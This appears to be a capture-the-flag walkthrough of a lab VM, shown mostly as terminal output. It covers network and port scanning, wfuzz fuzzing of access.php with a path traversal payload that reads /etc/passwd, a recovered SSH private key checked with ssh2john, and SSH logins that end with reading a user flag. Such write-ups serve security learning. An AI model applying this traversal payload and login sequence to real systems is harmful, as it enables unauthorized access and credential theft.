❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.151 08:00:27:38:47:87 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f0:df:73 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.082 seconds (122.96 hosts/sec). 4 responded ❯ export ip=192.168.60.151 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Where '404 Not Found' meets '200 OK'. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.151:22 Open 192.168.60.151:80 Open 192.168.60.151:2222 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 22:34 CST Initiating ARP Ping Scan at 22:34 Scanning 192.168.60.151 [1 port] Completed ARP Ping Scan at 22:35, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:35 Completed Parallel DNS resolution of 1 host. at 22:35, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 22:35 Scanning 192.168.60.151 [3 ports] Discovered open port 22/tcp on 192.168.60.151 Discovered open port 80/tcp on 192.168.60.151 Discovered open port 2222/tcp on 192.168.60.151 Completed SYN Stealth Scan at 22:35, 0.06s elapsed (3 total ports) Nmap scan report for 192.168.60.151 Host is up, received arp-response (0.00093s latency). Scanned at 2025-01-14 22:35:00 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 63 2222/tcp open EtherNetIP-1 syn-ack ttl 63 MAC Address: 08:00:27:38:47:87 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ wfuzz -c -u "http://192.168.60.151/access.php?FUZZ=../../../../../etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 129 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.151/access.php?FUZZ=../../../../../etc/passwd Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000003720: 200 88 L 164 W 3164 Ch "inet"
❯ vim id_rsa ❯ ssh2john id_rsa >hash id_rsa has no password!
但是当我ssh连接时发现还是需要用户密码
回想起来之前有扫到一个2222端口
尝试指定端口连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
❯ ssh cifra@$ip -i id_rsa -p2222 The authenticity of host '[192.168.60.151]:2222 ([192.168.60.151]:2222)' can't be established. ED25519 key fingerprint is SHA256:rpq/IGJ60HZMEXbZDq1zSx9/6CKFJTOTyb3ubKwwu3Y. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.60.151]:2222' (ED25519) to the list of known hosts. Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Last login: Tue Apr 9 13:53:46 2024 from 192.168.1.210 cifra@b13d359bc30b:~$ ls contabilidad.xlsm
❯ ssh leopoldo@$ip [email protected]'s password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Tue Jan 14 03:14:36 PM UTC 2025 System load: 0.0 Processes: 128 Usage of /: 53.4% of 11.21GB Users logged in: 0 Memory usage: 19% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for enp0s3: 192.168.60.151 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge Expanded Security Maintenance for Applications is not enabled. 18 updates can be applied immediately. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Apr 9 14:45:36 2024 from 192.168.1.41 leopoldo@shined:~$ cat user.txt 73f5b965bd7e817a71b853f44ada19b0
